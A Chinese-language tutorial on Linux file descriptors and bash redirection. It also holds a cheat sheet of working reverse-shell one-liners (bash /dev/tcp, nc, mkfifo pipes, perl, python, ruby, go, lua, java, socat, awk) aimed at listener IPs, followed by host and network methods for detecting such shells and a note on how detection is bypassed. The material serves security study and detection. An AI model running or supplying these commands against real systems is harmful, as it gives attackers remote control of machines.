重定向指令

linux文件描述符可以理解为linux跟踪打开文件而分配的一个数字句柄,这个数字本质上是一个文件句柄,通过句柄就可以实现文件的读写操作。

当Linux启动的时候会默认打开三个文件描述符,分别是:

  • 标准输入:standard input 0 (默认设备键盘)
  • 标准输出:standard output 1(默认设备显示器)
  • 错误输出:error output 2(默认设备显示器)

img

进程启动后再打开新的文件,描述符会自动依次增加。每一个新进程都会继承其父进程的文件描述符,因此所有的shell命令(本质上也是启动新进程),都会默认有三个文件描述符。

Linux一切皆文件,键盘、显示器设备也是文件,因此他们的输入输出也是由文件描述符控制。如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。

重定向分类

重定向主要分为两种

  • 输入重定向
    • “<”
    • “<<”
  • 输出重定向
    • “>”
    • “>>”

bash在执行一条指令的时候,首先会检查命令中是否存在文件描述符重定向的符号,如果存在那么首先将文件描述符重定向(预处理),然后在把重定向去掉,继续执行指令。如果指令中存在多个重定向,重定向从左向右解析

输入重定向

1
[n]< word (注意[n]与<之间没有空格)

说明:将文件描述符 n 重定向到 word 指代的文件(以只读方式打开),如果n省略就是0(标准输入)。

img

解析器解析到 “<” 以后会先处理重定向,将标准输入重定向到file,之后cat再从标准输入读取指令的时候,由于标准输入已经重定向到了file ,于是cat就从file中读取指令了。

img

输出重定向

1
[n]> word

说明: 将文件描述符 n 重定向到word 指代的文件(以写的方式打开),如果n 省略则默认就是 1(标准输出)。

img

上述指令将文件描述符1(标准输出)重定向到了指定文件。

img

标准输出与标准错误输出重定向

下面3种形式完全等价,

1
&> word 
2
>& word
3
> word 2>&1:将标准错误输出复制到标准输出

说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开)。

img

解释:我们首先执行了一个错误的命令,可以看到错误提示被写入文件(正常情况下是会直接输出的),我们又执行了一条正确的指令,发现结果也输入到了文件,说明正确错误消息都能输出到文件。

img

文件描述符的复制

1
[n]<&[m] 
2
n]>&[m] 
3
注意:这里所有字符之间不要有空格
  • 这两个指令都是将文件描述符 n 复制到 m ,两者的区别是
    • [n]<&[m] :以只读的形式打开
    • n]>&[m] :以写的形式打开
  • 这里的 & 目的是为了区分数字名字的文件和文件描述符,如果没有 & 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符

img

注意,重定向符号的顺序不能随便换,因为系统是从左到右执行。我们来分析上面指令结果出现的原理,

首先解析器解析到 2>&1

img

解析器再向后解析到 “>”

img

exec 绑定重定向

1
exec [n] <> file/[n]:以读写方式打开file指代的文件,并将n重定向到该文件。如果n不指定的话,默认为标准输入
2
exec [n] < file/[n] 
3
exec [n] > file/[n]

使用 exec 指令,可以让重定向在接下来的会话中(多条指令)持续有效。img

img

bash反弹shell分类

bash反弹shell

bash -i >& /dev/tcp/10.107.98.24/2345 0>&1

img

telnet反弹shell

telnet 10.107.98.24 4444 | /bin/bash | telnet 10.107.98.24 5555

img

管道反弹shell

rm /tmp/f; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 10.107.98.24 4444 >/tmp/f

img

脚本反弹shell

perl反弹shell

1
perl -e 'use Socket;$i="10.107.98.24";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

img

ruby反弹shell

1
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)’

go反弹shell

1
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

php反弹shell

1
php –r  'exec("/bin/bash -i >& /dev/tcp/127.0.0.1/7777")’

lua反弹shell

1
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

java反弹shell

1
r = Runtime.getRuntime()
2
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
3
p.waitFor()

python反弹shell

1
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

img

nc反弹shell

1
nc -e /bin/sh 192.168.146.129 2333

socat反弹shell

1
# 监听命令
2
socat file:`tty`,raw,echo=0 tcp-listen:9999
3
4
# 反弹命令
5
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.211.55.2:9999

img

无bash反弹shell

python版本

1
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.107.97.119 ',4444))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

perl版本

1
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.107.97.119:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

shell版本

1
awk 'BEGIN{s="/inet/tcp/0/10.107.97.119/4444";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

shell检测

bash反弹shell检测

检测 file descriptor 是否指向一个socket:

“重定向符”+"/dev/tcp网络通信”Bash反弹Shell这一类最经典的反弹Shell攻击方式为例,这类反弹shell的本质可以归纳为file descriptor的重定向到一个socket句柄

img

img

检测 file descriptor 是否指向一个管道符(pipe):

对于利用“管道符”传递指令的反弹shell攻击方式来说,这类反弹shell的本质可以归纳为file descriptor的重定向到一个pipe句柄

img

检测方法

  1. 通过上一篇文章的某种方法检测内核的进程事件
  2. 判断是否是bash进程,如果是bash进程则获取父进程的信息
  3. 获取父进程的/proc/[pid]/fd,判断是否有存在fd重定向到pipe或者socket情况
  4. 如果存在3情况,则告警

绕过风险:仅能通过进程执行文件名判断是否为Shell进程,上传可执行文件、拷贝Bash文件到其他路径等方法会绕过这个方法。例如这篇文章提到的,通过将/bin/sh重命名为其他名字进行反弹shell。

非bash反弹shell检测

Bash只是一个应用程序的普通应用,其内部封装了调用glibc execve的功能而已,除了bash之外,白帽子还可以基于任意的应用层技术来实现反弹shell,例如:

  • python/perl实现纯代码形式的反弹shell文件执行:文件脚本检测
  • python/perl实现纯代码形式的反弹shell命令行指令(fileless):纯命令行fileless检测
  • C/C++实现纯代码形式的反弹shell:二进制文件检测

无论怎么实现,这个进程肯定是有网络通信的事件,通过进程和socket事件关联情况,获取网络通信的协议。如果有相应的网络事件,在对进程所对应的文件进行上述情形进行安全检查。

进程和socket事件关联

关联process和socket数据

  1. 遍历/proc,获取所有进程的pid
  2. 通过pid,遍历/proc/pid/fd对应的link链接,检查是否存在socket:[],存在就获取对应的inode
  3. 获取/proc/pid/ns中net的inode
  4. 遍历 /proc/pid/net/下的icmp/tcp/udp/udplite/raw的协议
  5. 比较第四步中的inode信息与第一步的inode信息,一致的就是我们需要获取的数据。

网络层检测

dns&icmp反弹shell

本质上说,dns和icmp是一种网络通信方式,使用任何语言都可以借助这两种网络通信方式进行反弹shell交互。

但是我们知道,dns和icmp和tcp/udp不一样,它们都不是直连的网络信道,而是需要通过一个第三方进行消息中转。

  • dns(udp直连模式)

    • control server将指令封装成dns包格式,通过udp53直接发送给client
    • victim client从udp53接收到dns包后进行解析,从中提取并解码得到指令,并将执行结果封装成dns包格式,通过udp53返回给server
  • dns(authoritative DNS server转发模式)

    • victim client配置好dns resolve(domain nameserver),之后将所有的执行结果和指令请求都以正常dns query的形式发送给local DNS server,随后通过dns递归查询最终会发送到攻击者控制的domain nameserver上
    • control server从dns query中过滤出反弹shell相关的会话通信,并按照dns response的形式返回主控指令。
  • icmp

    参考https://github.com/inquisb/icmpsh)和nishang中的Invoke-PowerShellIcmp.ps1

检测方法

这个是NIDS范畴的内容了,主要思想是根据特征码进行检测。

反弹shell的通信会话中,会包含一些cmdline shell特征,例如#root....等,可以在网络侧进行NTA实时检测。

参考:

https://xz.aliyun.com/t/2549

https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html

https://www.cnblogs.com/shanmao/archive/2012/12/26/2834210.html

https://xz.aliyun.com/t/6727

https://www.cnblogs.com/LittleHann/p/12038070.html#_lab2_3_5